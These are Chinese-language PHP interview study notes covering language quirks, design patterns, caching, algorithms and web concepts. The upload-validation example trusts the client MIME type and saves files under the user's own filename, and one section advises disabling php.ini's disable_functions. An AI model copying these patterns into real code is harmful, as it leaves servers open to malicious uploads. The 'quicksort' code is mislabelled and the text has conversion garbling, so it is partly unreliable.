header("HTTP/1.1 301 Moved Permanently"); header("Location: /option-a"); exit();
方法2:react
http_response_code(301); header('Location: /option-a'); exit;
如何獲取擴展安裝路徑
phpinfo(); 頁面查找 extension_dir
命令行 php -i |grep extension_dir
運行時 echo ini_get('extension_dir');
字符串、數字比較大小的原理,注意 0 開頭的8進制、0x 開頭16進制
字符串比較大小,從左(高位)至右,逐個字符 ASCII 比較
字符串和數字比較,會先把字符串轉換成數字類型,好比12se轉換成12,abx轉換成0,此時就不是字符的ASCII值與數字比較。0與任何不可轉換成數字的字符串比較都是true
兩個不一樣進制的數字比較會轉成十進制比較(得出這個結論是由於我在php中直接輸出其餘進制數字時均顯示十進制格式
猜測當數字字符串和非十進制數字比較大小時應該也是把數字轉換成十進制形式再比較大小
BOM 頭是什麼,怎麼除去
BOM頭是放在UTF-8編碼的文件的頭部的三個字符(0xEF 0xBB 0xBF,即BOM)佔用三個字節,用來標識該文件屬於UTF-8編碼。如今已經有不少軟件識別BOM頭,可是還有些不能識別BOM頭,好比PHP就不能識別BOM頭,因此PHP編碼規範PSR-4:「無BOM的UTF-8格式」。同時這也是用Windows記事本編輯UTF-8編碼後執行就會出錯的緣由了(Windows記事本生成文件自帶BOM)。
檢測(具體查看超連接)
去除:
function remove_utf8_bom($text) { $bom = pack('H*','EFBBBF'); $text = preg_replace("/^$bom/", '', $text); return $text; }
什麼是 MVC
MVC模式(Model–view–controller)是軟件工程中的一種軟件架構模式,把軟件系統分爲三個基本部分:模型(Model)、視圖(View)和控制器(Controller)。
MVC模式最先由Trygve Reenskaug在1978年提出,是施樂帕羅奧多研究中心(Xerox PARC)在20世紀80年代爲程序語言Smalltalk發明的一種軟件架構。MVC模式的目的是實現一種動態的程序設計,使後續對程序的修改和擴展簡化,而且使程序某一部分的重複利用成爲可能。除此以外,此模式經過對複雜度的簡化,使程序結構更加直觀。軟件系統經過對自身基本部分分離的同時也賦予了各個基本部分應有的功能。
1)最上面的一層,是直接面向最終用戶的"視圖層"(View)。它是提供給用戶的操做界面,是程序的外殼。
2)最底下的一層,是核心的"數據層"(Model),也就是程序須要操做的數據或信息。
3)中間的一層,就是"控制層"(Controller),它負責根據用戶從"視圖層"輸入的指令,選取"數據層"中的數據,而後對其進行相應的操做,產生最終結果。
依賴注入實現原理
一個用構造方法實現依賴注入的簡單例子(原文連接):
<?php //依賴注入(Dependency injection)也叫控制反轉(Inversion of Control)是一種設計模式,這種模式用來減小程序間的耦合。 //假設咱們有個類,須要用到數據庫鏈接,咱們可能這樣寫 class UseDataBase{ protected $adapter; public function __construct(){ $this->adapter=new MySqlAdapter; } public function getList(){ $this->adapter->query("sql語句");//使用MySqlAdapter類中的query方法; } } class MySqlAdapter{}; //咱們能夠經過依賴注入來重構上面這個例子 class UseDataBase{ protected $adapter; public function __construct(MySqlAdapter $adapter){ $this->adapter=$adapter; } public function getList(){ $this->adapter->query("sql語句");//使用MySqlAdapter類中的query方法; } } class MySqlAdapter{}; //可是,當咱們有不少種數據庫時,上面的這種方式就達不到要求或者要寫不少個usedatabase類,因此咱們再重構上面的這個例子 class UseDataBase{ protected $adapter; poublic function __construct(AdapterInterface $adapter){ $this->adapter=$adapter; } public function getList(){ $this->adapter->query("sql語句");//使用AdapterInterface類中的query方法; } } interface AdapterInterface{}; class MySqlAdapter implements AdapterInterface{}; class MSsqlAdapter implements AdapterInterface{}; //這樣的話,當要使用不一樣的數據庫時,咱們只須要添加數據庫類實現適配器接口就夠了, usedatabase類則不須要動。 ?>
由於大多數應用程序都是由兩個或者更多的類經過彼此合做來實現業務邏輯,這使得每一個對象都須要獲取與其合做的對象(也就是它所依賴的對象)的引用。若是這個獲取過程要靠自身實現,那麼將致使代碼高度耦合而且難以維護和調試。
如何異步執行命令
不明白做者提出的這個問題是想問shell異步執行仍是php異步執行腳本。
Shell異步執行:
bash提供了一個內置的命令來幫助管理異步執行。wait命令可讓父腳本暫停,直到指定的進程(好比子腳本)結束。
Php異步執行腳本:
必須在php.ini中註釋掉disable_functions,這樣popen函數才能使用。該函數打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。因此能夠經過調用它,但忽略它的輸出
resource popen ( string $command , string $mode )
$command:linux命令 $mode:模式。
返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用於讀或寫)而且必須用 pclose() 來關閉。此指針能夠用於fgets(),fgetss() 和 fwrite()。 當模式爲 'r',返回的文件指針等於命令的 STDOUT,當模式爲 'w',返回的文件指針等於命令的 STDIN。若是出錯返回 FALSE。
這種方法不能經過HTTP協議請求另外的一個WebService,只能執行本地的腳本文件。而且只能單向打開,沒法穿大量參數給被調用腳本。而且若是,訪問量很高的時候,會產生大量的進程。若是使用到了外部資源,還要本身考慮競爭。
方法2
$ch = curl_init(); $curl_opt = array( CURLOPT_URL=>'hostname/syncStock.php', CURLOPT_RETURNTRANSFER=>1, CURLOPT_TIMEOUT=>1,); curl_setopt_array($ch, $curl_opt); $out = curl_exec($ch); curl_close($ch);
原理:經過curl去調用一個php腳本,若是響應時間超過了1秒鐘,則斷開該鏈接,程序繼續往下走而syncStock.php這個腳本還在繼續往下執行。
缺點:必須設置CURLOPT_TIMEOUT=>1這個屬性,因此致使客戶端必須至少等待1秒。可是這個屬性不設置又不行,不設置的話,就會一直等待響應。就沒有異步的效果了
模板引擎是什麼,解決什麼問題、實現原理(Smarty、Twig、Blade)
模板引擎是爲了使用戶界面與業務數據(內容)分離而產生的,它能夠生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。
模板引擎的實現方式有不少,最簡單的是「置換型」模板引擎,這類模板引擎只是將指定模板內容(字符串)中的特定標記(子字符串)替換一下便生成了最終須要的業務數據(好比網頁)。
置換型模板引擎實現簡單,但其效率低下,沒法知足高負載的應用需求(好比有海量訪問的網站),所以還出現了「解釋型」模板引擎和「編譯型」模板引擎等。
模板引擎可讓(網站)程序實現界面與數據分離,業務代碼與邏輯代碼的分離,這就大大提高了開發效率,良好的設計也使得代碼重用變得更加容易。
咱們司空見慣的模板安裝卸載等概念,基本上都和模板引擎有着千絲萬縷的聯繫。模板引擎不僅是可讓你實現代碼分離(業務邏輯代碼和用戶界面代碼),也能夠實現數據分離(動態數據與靜態數據),還能夠實現代碼單元共享(代碼重用),甚至是多語言、動態頁面與靜態頁面自動均衡(SDE)等等與用戶界面可能沒有關係的功能。
Smarty:
Smarty是一個php模板引擎。更準確的說,它分離了邏輯程序和外在的內容,提供了一種易於管理的方法。Smarty總的設計理念就是分離業務邏輯和表現邏輯,優勢歸納以下:
速度——相對於其餘的模板引擎技術而言,採用Smarty編寫的程序能夠得到最大速度的提升
編譯型——採用Smarty編寫的程序在運行時要編譯成一個非模板技術的PHP文件,這個文件採用了PHP與HTML混合的方式,在下一次訪問模板時將Web請求直接轉換到這個文件中,而再也不進行模板從新編譯(在源程序沒有改動的狀況下),使用後續的調用速度更快
緩存技術——Smarty提供了一種可選擇使用的緩存技術,它能夠將用戶最終看到的HTML文件緩存成一個靜態的HTML頁面。當用戶開啓Smarty緩存時,並在設定的時間內,將用戶的Web請求直接轉換到這個靜態的HTML文件中來,這至關於調用一個靜態的HTML文件
插件技術——Smarty模板引擎是採用PHP的面向對象技術實現,不只能夠在原代碼中修改,還能夠自定義一些功能插件(按規則自定義的函數)
強大的表現邏輯——在Smarty模板中可以經過條件判斷以及迭代地處理數據,它實際上就是種程序設計語言,但語法簡單,設計人員在不須要預備的編程知識前提下就能夠很快學會
模板繼承——模板的繼承是Smarty3的新事物。在模板繼承裏,將保持模板做爲獨立頁面而不用加載其餘頁面,能夠操縱內容塊繼承它們。這使得模板更直觀、更有效和易管理
Twig:
Twig是一個靈活,快速,安全的PHP模板語言。它將模板編譯成通過優化的原始PHP代碼。Twig擁有一個Sandbox模型來檢測不可信的模板代碼。Twig由一個靈活的詞法分析器和語法分析器組成,可讓開發人員定義本身的標籤,過濾器並建立本身的DSL。
Blade:
Blade 是 Laravel 提供的一個簡單而又強大的模板引擎。和其餘流行的 PHP 模板引擎不一樣,Blade 並不限制你在視圖中使用原生 PHP 代碼。全部 Blade 視圖文件都將被編譯成原生的 PHP 代碼並緩存起來,除非它被修改,不然不會從新編譯,這就意味着 Blade 基本上不會給你的應用增長任何負擔。Blade 視圖文件使用 .blade.php 做爲文件擴展名,被存放在 resources/views 目錄。
如何實現鏈式操做 $obj->w()->m()->d();
簡單實現(關鍵經過作完操做後return $this;)
<?php class Sql{ private $sql=array("from"=>"", "where"=>"", "order"=>"", "limit"=>""); public function from($tableName) { $this->sql["from"]="FROM ".$tableName; return $this; } public function where($_where='1=1') { $this->sql["where"]="WHERE ".$_where; return $this; } public function order($_order='id DESC') { $this->sql["order"]="ORDER BY ".$_order; return $this; } public function limit($_limit='30') { $this->sql["limit"]="LIMIT 0,".$_limit; return $this; } public function select($_select='*') { return "SELECT ".$_select." ".(implode(" ",$this->sql)); } } $sql =new Sql(); echo $sql->from("testTable")->where("id=1")->order("id DESC")->limit(10)->select(); //輸出 SELECT * FROM testTable WHERE id=1 ORDER BY id DESC LIMIT 0,10 ?>
利用__call()方法實現
<?php class String { public $value; public function __construct($str=null) { $this->value = $str; } public function __call($name, $args) { $this->value = call_user_func($name, $this->value, $args[0]); return $this; } public function strlen() { return strlen($this->value); } } $str = new String('01389'); echo $str->trim('0')->strlen(); // 輸出結果爲 4;trim('0')後$str爲"1389" ?>
Xhprof 、Xdebug 性能調試工具使用
XHProf:
XHProf 是一個輕量級的分層性能測量分析器。 在數據收集階段,它跟蹤調用次數與測量數據,展現程序動態調用的弧線圖。 它在報告、後期處理階段計算了獨佔的性能度量,例如運行通過的時間、CPU 計算時間和內存開銷。 函數性能報告能夠由調用者和被調用者終止。 在數據蒐集階段 XHProf 經過調用圖的循環來檢測遞歸函數,經過賦予惟一的深度名稱來避免遞歸調用的循環。
XHProf 包含了一個基於 HTML 的簡單用戶界面(由 PHP 寫成)。 基於瀏覽器的用戶界面使得瀏覽、分享性能數據結果更加簡單方便。 同時也支持查看調用圖。
XHProf 的報告對理解代碼執行結構經常頗有幫助。 好比此分層報告可用於肯定在哪一個調用鏈裏調用了某個函數。
XHProf 對兩次運行進行比較(又名 "diff" 報告),或者屢次運行數據的合計。 對比、合併報告,很像針對單次運行的「平式視圖」性能報告,就像「分層式視圖」的性能報告。
Xdebug:
Xdebug是一個開放源代碼的PHP程序調試器(即一個Debug工具),能夠用來跟蹤,
調試和分析PHP程序的運行情況。Xdebug的基本功能包括在錯誤條件下顯示堆棧軌跡,最大嵌套級別和時間跟蹤。
索引數組 [1, 2] 與關聯數組 ['k1'=>1, 'k2'=>2] 有什麼區別
暫時沒有研究太深,按簡單理解:
索引數組的默認key是從0開始的數字,可省略不寫;而關聯數組的key是字符串,必須主動指明,字符串內容可爲數字也可爲其餘字符。
緩存的使用方式、場景(原文copy的)
爲何使用緩存
提高性能:使用緩存能夠跳過數據庫查詢,分佈式系統中能夠跳過屢次網絡開銷。在讀多寫少的場景下,能夠有效的提升性能,下降數據庫等系統的壓力。
緩存的適用場景
1.數據不須要強一致性
2.讀多寫少,而且讀取得數據重複性較高
緩存的正確打開方式
1.Cache Aside 同時更新緩存和數據庫
2.Read/Write Through 先更新緩存,緩存負責同步更新數據庫
3.Write Behind Caching 先更新緩存,緩存負責異步更新數據庫
下面具體分析每種模式
1、Cache Aside 更新模式
這是最經常使用的緩存模式了,具體的流程是:
讀取:應用程序先從 cache 取數據,取到後成功返回;沒有獲得,則從數據庫中取數據,成功後,放到緩存中。
更新:先把數據存到數據庫中,再清理緩存使其失效。
不過這種模式有幾個變種:
第一,若是先更新數據庫再更新緩存。假設兩個併發更新操做,數據庫先更新的反然後更新緩存,數據庫後更新的反而先更新緩存。這樣就會形成數據庫和緩存中的數據不一致,應用程序中讀取的都是髒數據。
第二,先刪除緩存再更新數據庫。假設一個更新操做先刪除了緩存,一個讀操做沒有命中緩存,從數據庫中取出數據而且更新回緩存,再而後更新操做完成數據庫更新。這時數據庫和緩存中的數據是不一致的,應用程序中讀取的都是原來的數據。
第三,先更新數據庫再刪除緩存。假設一個讀操做沒有命中緩存,而後讀取數據庫的老數據。同時有一個併發更新操做,在讀操做以後更新了數據庫並清空了緩存。此時讀操做將以前從數據庫中讀取出的老數據更新回了緩存。這時數據庫和緩存中的數據也是不一致的。
可是通常狀況下,緩存用於讀多寫少的場景,因此第三種這種狀況實際上是小几率會出現的。
2、Read/Write Through 更新模式
Read Through 模式就是在查詢操做中更新緩存,緩存服務本身來加載。
Write Through 模式和 Read Through 相仿,不過是在更新數據時發生。當有數據更新的時候,若是沒有命中緩存,直接更新數據庫,而後返回。若是命中了緩存,則更新緩存,而後由緩存本身更新數據庫(這是一個同步操做)。
3、Write Behind Caching 更新模式
Write Behind Caching 更新模式就是在更新數據的時候,只更新緩存,不更新數據庫,而咱們的緩存會異步地批量更新數據庫。但其帶來的問題是,數據不是強一致性的,並且可能會丟失。
總結,三種緩存模式的優缺點:
Cache Aside 更新模式實現起來比較簡單,最經常使用,實時性也高,可是須要應用須要關注覈實加載數據進入緩存 。
Read/Write Through 更新模式只須要維護一個緩存,對應用屏蔽掉了緩存的細節,實時性也高。可是實現起來要複雜一些。
Write Behind Caching 吞吐量很高,屢次操做能夠合併。可是數據可能會丟失,例如系統斷電等,實現起來最複雜。
============================================實踐篇=====================================
給定二維數組,根據某個字段排序
舉例:一組學生信息,要按年齡大小升序或降序排序(相似與sql語句的order by功能)
$arr = [ ['id' => 6, 'name' => '小明'], ['id' => 1, 'name' => '小亮'], ['id' => 13, 'name' => '小紅'], ['id' => 2, 'name' => '小強'], ];
// 方法1:手動寫排序方法:
/** 對給定二維數組按照某個字段升序或降序排序 * @param $arr 給定一個二維數組,這裏的$arr * @param $sortField 根據哪一個字段排序,這裏的id * @param string $sort 升序仍是降序,默認升序 *思路:取出全部要排序的字段的值組成一個新數組,根據升序降序保留鍵值排序,此時新數組的鍵值順序就是要獲得的排序後的二維數組的鍵值順序,而後將原二維數組按照此鍵值順序排列便可。 注意:這裏沒有重置排序後的二維數組的索引,如需重置可自行擴展 */ private function arraySort($arr, $sortField, $sort = 'asc') { $newArr = array(); foreach ($arr as $key => $value) { $newArr[$key] = $value[$sortField]; } ($sort == 'asc') ? asort($newArr) : arsort($newArr); foreach ($newArr as $k => $v) { $newArr[$k] = $arr[$k]; } return $newArr; }
// 方法2:使用php提供的排序函數array_multisort(),默認會重置排序後的索引,即從0開始順序往下排
foreach ($arr as $key => $value) {
$id[$key] = $value['id'];
}
array_multisort($id, SORT_ASC, $arr); // 返回True or False
如何判斷上傳文件類型,如:僅容許 jpg 上傳
網上出現頻率較高的一段代碼:lz認爲此段代碼對上傳文件的類型限制仍是比較好的,由於以前看資料說僅經過mime類型判斷有時候不太靠譜,而僅經過文件後綴名判斷好像也不是很靠譜,因此這裏採用雙重判斷,如下代碼稍微加了點註釋:
<?php $allowedExts = array("gif", "jpeg", "jpg", "png"); // 限定可上傳的文件後綴名 $extension = end(explode(".", $_FILES["file"]["name"])); // 從文件名中獲取文件後綴名 // 判斷上傳文件mime類型是下列之一且大小小於20000B且文件後綴名也符合要求 if ((($_FILES["file"]["type"] == "image/gif")|| ($_FILES["file"]["type"] == "image/jpeg")|| ($_FILES["file"]["type"] == "image/jpg")||
($_FILES["file"]["type"] == "image/pjpeg")|| ($_FILES["file"]["type"] == "image/x-png")|| ($_FILES["file"]["type"] == "image/png"))&&
($_FILES["file"]["size"] < 20000)&& in_array($extension, $allowedExts)) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br>"; //臨時文件名 if (file_exists("upload/" . $_FILES["file"]["name"])) { // 同名文件已存在時提示文件已存在 echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } }else { // 文件類型或大小不合適時提示無效文件 echo "Invalid file"; }?>
不使用臨時變量交換兩個變量的值 $a=1; $b=2; => $a=2; $b=1;
最早想到的利用加減運算這裏就不說了,由於那隻適用於數字類型。
1.字符串截取法:
function myExchange(&$a = '', &$b = '') { $a = $a . $b; $b = substr($a,0,-strlen($b)); $a = substr($a,strlen($a)-strlen($b),strlen($b)); return true; }
2.數組法:
private function myExchange(&$a = '', &$b = '') { $a = array($a, $b); $b = $a[0]; $a = $a[1]; return true; }
strtoupper 在轉換中文時存在亂碼,你如何解決?php echo strtoupper('ab你好c');
php echo strtoupper('ab你好c');(經測試中文系統下不會出現亂碼,網上資料說是英文系統或部分盜版系統或因編碼格式問題可能出現題述狀況。
mb系列函數解決(mb系列函數能夠顯式指明編碼)
string mb_convert_case (string $str ,int $mode [,string $encoding = mb_internal_encoding()])
$mode有三種模式:
1.MB_CASE_UPPER:轉成大寫
2.MB_CASE_LOWER:轉成小寫
3.MB_CASE_TITLE :轉成首字母大寫
$encoding默認使用內部編碼;也能夠顯示使用如’UTF-8’;
能夠用echo mb_internal_encoding();來查看;
此方法不只能夠解決中文問題,對其餘問題也適用。
2.手動解決:用str_split(string $string, int $split_length = 1)按每一個字節切割,像中文能切割成三個字節。對識別到的字節如果英文字母則進行轉換。
<?php function mystrtoupper($a){ $b = str_split($a, 1); $r = ''; foreach($b as $v){ $v = ord($v);//對該字符轉成acsii碼 if($v >= 97 && $v<= 122){//判斷是否爲小寫字母 $v -= 32;//轉換成大寫字母 } $r .= chr($v);//將ascii碼再轉爲相應的字符。 } return $r; } $a = 'a中你繼續F@#$%^&*(BMDJFDoalsdkfjasl';echo 'origin string:'.$a."\n";echo 'result string:';$r = mystrtoupper($a); var_dump($r);
Websocket、Long-Polling、Server-Sent Events(SSE) 區別
感受簡書的這篇文章介紹的還不錯:原文連接,這裏只copy要點:
Long-Polling(基於AJAX長輪詢)
瀏覽器發出XMLHttpRequest 請求,服務器端接收到請求後,會阻塞請求直到有數據或者超時才返回,瀏覽器JS在處理請求返回信息(超時或有效數據)後再次發出請求,從新創建鏈接。在此期間服務器端可能已經有新的數據到達,服務器會選擇把數據保存,直到從新創建鏈接,瀏覽器會把全部數據一次性取回。
Websocket
Websocket是一個全新的、獨立的協議,基於TCP協議,與http協議兼容、卻不會融入http協議,僅僅做爲html5的一部分。因而乎腳本又被賦予了另外一種能力:發起websocket請求。這種方式咱們應該很熟悉,由於Ajax就是這麼作的,所不一樣的是,Ajax發起的是http請求而已。與http協議不一樣的請求/響應模式不一樣,Websocket在創建鏈接以前有一個Handshake(Opening Handshake)過程,在關閉鏈接前也有一個Handshake(Closing Handshake)過程,創建鏈接以後,雙方便可雙向通訊。
Server-Sent Events(SSE)
是一種容許服務端向客戶端推送新數據的HTML5技術。與由客戶端每隔幾秒從服務端輪詢拉取新數據相比,這是一種更優的解決方案。與WebSocket相比,它也能從服務端向客戶端推送數據。那如何決定你是用SSE仍是WebSocket呢?歸納來講,WebSocket能作的,SSE也能作,反之亦然,但在完成某些任務方面,它們各有千秋。WebSocket是一種更爲複雜的服務端實現技術,但它是真正的雙向傳輸技術,既能從服務端向客戶端推送數據,也能從客戶端向服務端推送數據。
另一篇網上盛傳的帖子:原文連接
StackOverflow上一篇對websockets和sse的比較
Websockets和SSE(服務器發送事件)都可以將數據推送到瀏覽器,但它們不是競爭技術。
Websockets鏈接既能夠將數據發送到瀏覽器,也能夠從瀏覽器接收數據。能夠使用websockets的應用程序的一個很好的例子是聊天應用程序。
SSE鏈接只能將數據推送到瀏覽器。在線股票報價或更新時間軸或訂閱源的twitters是能夠從SSE中受益的應用程序的良好示例。
實際上,因爲SSE能夠完成的全部工做也能夠經過Websockets完成,所以Websockets獲得了更多的關注和喜好,而且更多的瀏覽器支持Websockets而不是SSE。
可是,對於某些類型的應用程序來講,它可能會過分,而且使用SSE等協議能夠更容易地實現後端。
此外,SSE能夠填充到自己不支持它的舊版瀏覽器中,只需使用JavaScript就可實現。能夠在Modernizr github頁面上找到SSE polyfill的一些實現。
"Headers already sent" 錯誤是什麼意思,如何避免
StackOverflow原文連接
錯誤說明:「不能更改頭信息-頭已經發出」;意思大概是在你的代碼中有修改header信息的代碼段,可是在此代碼段以前header已經發出,因此報錯不能修改。
如何避免:在發送header前不能有任何輸出,會發送header的部分方法:
header / header_remove
session_start / session_regenerate_id
setcookie / setrawcookie
相似於輸出功能的操做(不能放在header相關處理以前):
無心的:
<?php以前或?>以後的空格
UTF-8編碼的BOM頭信息
之前的錯誤消息或通知
故意的:
print,echo等產生輸出的輸出
Raw <html> sections prior <?php code.(抱歉沒有看懂)
=============================================算法篇==========================================
快速排序(手寫)
快速排序:每一次比較都把最大數放置最右側(不是很準確,不會描述了)(默認從小到大排列,倒序則相反)
沒有再去尋找更好的實現,直接貼上上學時用各類語言寫過的嵌套for循環形式:
for ($i = 0; $i < count($sortArr) - 1; $i++) {
for ($j = count($sortArr) - 1; $j > $i; $j--) {
if ($sortArr[$i] > $sortArr[$j]) {
$temp = $sortArr[$i];
$sortArr[$i] = $sortArr[$j];
$sortArr[$j] = $temp;
}
}
}
快速排序有點記不清了,話說除了面試也不會寫這種算法了,不過以上代碼是測試能夠的,但不保證沒有bug
冒泡排序(手寫)
冒泡排序:兩兩比較,前者大於後者則交換(默認從小到大排列,倒序則相反)
沒有再去尋找更好的實現,直接貼上上學時用各類語言寫過的嵌套for循環形式:
for ($i = 0; $i < count($sortArr) - 1; $i++) {
for ($j = $i + 1; $j < count($sortArr); $j++) {
if ($sortArr[$i] > $sortArr[$j]) {
$temp = $sortArr[$i];
$sortArr[$i] = $sortArr[$j];
$sortArr[$j] = $temp;
}
}
}
我最喜歡的排序算法,主要是寫的熟練,這裏只有核心實現,沒有細節校驗
二分查找(瞭解)
二分查找:每次查找都將查找範圍縮小一半,直至找到目標數據。
二分查找遞歸實現(csdn找的):
function binSearch2($arr,$low,$height,$k){
if($low<=$height){
$mid=floor(($low+$height)/2);//獲取中間數
if($arr[$mid]==$k){
return $mid;
}elseif($arr[$mid]<$k){
return binSearch2($arr,$mid+1,$height,$k);
}elseif($arr[$mid]>$k){
return binSearch2($arr,$low,$mid-1,$k);
}
}
return -1;
}
查找算法 KMP(瞭解)
csdn一篇lz認爲還較爲詳細的博文
copy的KMP簡介
Knuth-Morris-Pratt 字符串查找算法,簡稱爲 「KMP算法」,經常使用於在一個文本串S內查找一個模式串P 的出現位置,這個算法由Donald Knuth、Vaughan Pratt、James H. Morris三人於1977年聯合發表,故取這3人的姓氏命名此算法。
下面先直接給出KMP的算法流程(若是感到一點點不適,不要緊,堅持下,稍後會有具體步驟及解釋,越日後看越會柳暗花明☺):
假設如今文本串S匹配到 i 位置,模式串P匹配到 j 位置
若是j = -1,或者當前字符匹配成功(即S[i] == P[j]),都令i++,j++,繼續匹配下一個字符;
若是j != -1,且當前字符匹配失敗(即S[i] != P[j]),則令 i 不變,j = next[j]。此舉意味着失配時,模式串P相對於文本串S向右移動了j - next [j] 位。
換言之,當匹配失敗時,模式串向右移動的位數爲:失配字符所在位置 - 失配字符對應的next 值(next 數組的求解會在下文的3.3.3節中詳細闡述),即移動的實際位數爲:j - next[j],且此值大於等於1。
深度、廣度優先搜索(瞭解)
在學校算法課上學過,可是仍是沒信心能把他描述清楚,這裏要求也只是簡單瞭解,仍是引用大神的文章了
簡書上對DFS、BFS概念理解:
**深度優先遍歷圖算法步驟:
1.訪問頂點v;
2.依次從v的未被訪問的鄰接點出發,對圖進行深度優先遍歷;直至圖中和v有路徑相通的頂點都被訪問;
3.若此時圖中尚有頂點未被訪問,則從一個未被訪問的頂點出發,從新進行深度優先遍歷,直到圖中全部頂點均被訪問過爲止。
廣度優先遍歷算法步驟:
1.首先將根節點放入隊列中。
2.從隊列中取出第一個節點,並檢驗它是否爲目標。若是找到目標,則結束搜尋並回傳結果。不然將它全部還沒有檢驗過的直接子節點加入隊列中。
3.若隊列爲空,表示整張圖都檢查過了——亦即圖中沒有欲搜尋的目標。結束搜尋並回傳「找不到目標」。
4.重複步驟2。
掘金 對圖的深度和廣度優先遍歷
二叉樹的深度廣度優先遍歷
Php實現二叉樹的深度廣度優先遍歷
LRU 緩存淘汰算法(瞭解,Memcached 採用該算法)
LRU (英文:Least Recently Used), 意爲最近最少使用,這個算法的精髓在於若是一塊數據最近被訪問,那麼它未來被訪問的概率也很高,根據數據的歷史訪問來淘汰長時間未使用的數據。
對圖理解:
新數據插入到鏈表頭部;
每當緩存命中(即緩存數據被訪問),則將數據移到鏈表頭部;
當鏈表滿的時候,將鏈表尾部的數據丟棄。
數據結構篇(瞭解)
既然這一篇要求也爲了解,那就直接放幾句話的簡單概述了。
堆、棧特性
1.棧就像裝數據的桶或箱子
咱們先從你們比較熟悉的棧提及吧,它是一種具備後進先出性質的數據結構,也就是說後存放的先取,先存放的後取。
這就如同咱們要取出放在箱子裏面底下的東西(放入的比較早的物體),咱們首先要移開壓在它上面的物體(放入的比較晚的物體)。
2.堆像一棵倒過來的樹
而堆就不一樣了,堆是一種通過排序的樹形數據結構,每一個結點都有一個值。
一般咱們所說的堆的數據結構,是指二叉堆。
堆的特色是根結點的值最小(或最大),且根結點的兩個子樹也是一個堆。
因爲堆的這個特性,經常使用來實現優先隊列,堆的存取是隨意,這就如同咱們在圖書館的書架上取書,雖然書的擺放是有順序的,可是咱們想取任意一本時沒必要像棧同樣,先取出前面全部的書,書架這種機制不一樣於箱子,咱們能夠直接取出咱們想要的書。
百度百科:
棧(操做系統):由操做系統自動分配釋放 ,存放函數的參數值,局部變量的值等。其操做方式相似於數據結構中的棧。
堆(操做系統): 通常由程序員分配釋放, 若程序員不釋放,程序結束時可能由OS回收,分配方式卻是相似於鏈表。
棧使用的是一級緩存, 他們一般都是被調用時處於存儲空間中,調用完畢當即釋放。
堆則是存放在二級緩存中,生命週期由虛擬機的垃圾回收算法來決定(並非一旦成爲孤兒對象就能被回收)。因此調用這些對象的速度要相對來得低一些。
堆和棧的區別能夠引用一位前輩的比喻來看出:
使用棧就象咱們去飯館裏吃飯,只管點菜(發出申請)、付錢、和吃(使用),吃飽了就走,沒必要理會切菜、洗菜等準備工做和洗碗、刷鍋等掃尾工做,他的好處是快捷,可是自由度小。
使用堆就象是本身動手作喜歡吃的菜餚,比較麻煩,可是比較符合本身的口味,並且自由度大。比喻很形象,說的很通俗易懂,不知道你是否有點收穫。
隊列
隊列(queue)是一種採用先進先出(FIFO)策略的抽象數據結構,它的想法來自於生活中排隊的策略。顧客在付款結帳的時候,按照到來的前後順序排隊結帳,先來的顧客先結帳,後來的顧客後結帳。隊列的實現通常有數組實現和鏈表實現兩種方式。
隊列又分單鏈隊列、循環隊列、陣列隊列,具體可參見維基
哈希表
Hash表也稱散列表,也有直接譯做哈希表,Hash表是一種特殊的數據結構,它同數組、鏈表以及二叉排序樹等相比較有很明顯的區別,它可以快速定位到想要查找的記錄,而不是與表中存在的記錄的關鍵字進行比較來進行查找。這個源於Hash表設計的特殊性,經過把關鍵碼值(Key value)映射到表中一個位置來訪問記錄,以加快查找的速度。這個映射函數叫作Hash函數,存放記錄的數組叫作Hash表。
鏈表
鏈表(Linked list)是一種常見的基礎數據結構,是一種線性表,可是並不會按線性的順序存儲數據,而是在每個節點裏存到下一個節點的指針(Pointer)。因爲沒必要須按順序存儲,鏈表在插入的時候能夠達到O(1)的複雜度,比另外一種線性表順序錶快得多,可是查找一個節點或者訪問特定編號的節點則須要O(n)的時間,而順序表相應的時間複雜度分別是O(logn)和O(1)。
使用鏈表結構能夠克服數組鏈表須要預先知道數據大小的缺點,鏈表結構能夠充分利用計算機內存空間,實現靈活的內存動態管理。可是鏈表失去了數組隨機讀取的優勢,同時鏈表因爲增長告終點的指針域,空間開銷比較大。
對比篇
Cookie 與 Session 區別
網上的解釋和理解有淺有深,具體看需求了。好比最簡單的理解cookie存放在客戶端,session存放在服務端。
因爲HTTP協議是無狀態的協議,因此服務端須要記錄用戶的狀態時,就須要用某種機制來識具體的用戶,這個機制就是Session.典型的場景好比購物車,當你點擊下單按鈕時,因爲HTTP協議無狀態,因此並不知道是哪一個用戶操做的,因此服務端要爲特定的用戶建立了特定的Session,用用於標識這個用戶,而且跟蹤用戶,這樣才知道購物車裏面有幾本書。這個Session是保存在服務端的,有一個惟一標識。在服務端保存Session的方法不少,內存、數據庫、文件都有。集羣的時候也要考慮Session的轉移,在大型的網站,通常會有專門的Session服務器集羣,用來保存用戶會話,這個時候 Session 信息都是放在內存的,使用一些緩存服務好比Memcached之類的來放 Session。
思考一下服務端如何識別特定的客戶?這個時候Cookie就登場了。每次HTTP請求的時候,客戶端都會發送相應的Cookie信息到服務端。實際上大多數的應用都是用 Cookie 來實現Session跟蹤的,第一次建立Session的時候,服務端會在HTTP協議中告訴客戶端,須要在 Cookie 裏面記錄一個Session ID,之後每次請求把這個會話ID發送到服務器,我就知道你是誰了。有人問,若是客戶端的瀏覽器禁用了 Cookie 怎麼辦?通常這種狀況下,會使用一種叫作URL重寫的技術來進行會話跟蹤,即每次HTTP交互,URL後面都會被附加上一個諸如 sid=xxxxx 這樣的參數,服務端據此來識別用戶。
Cookie其實還能夠用在一些方便用戶的場景下,設想你某次登錄過一個網站,下次登陸的時候不想再次輸入帳號了,怎麼辦?這個信息能夠寫到Cookie裏面,訪問網站的時候,網站頁面的腳本能夠讀取這個信息,就自動幫你把用戶名給填了,可以方便一下用戶。這也是Cookie名稱的由來,給用戶的一點甜頭。
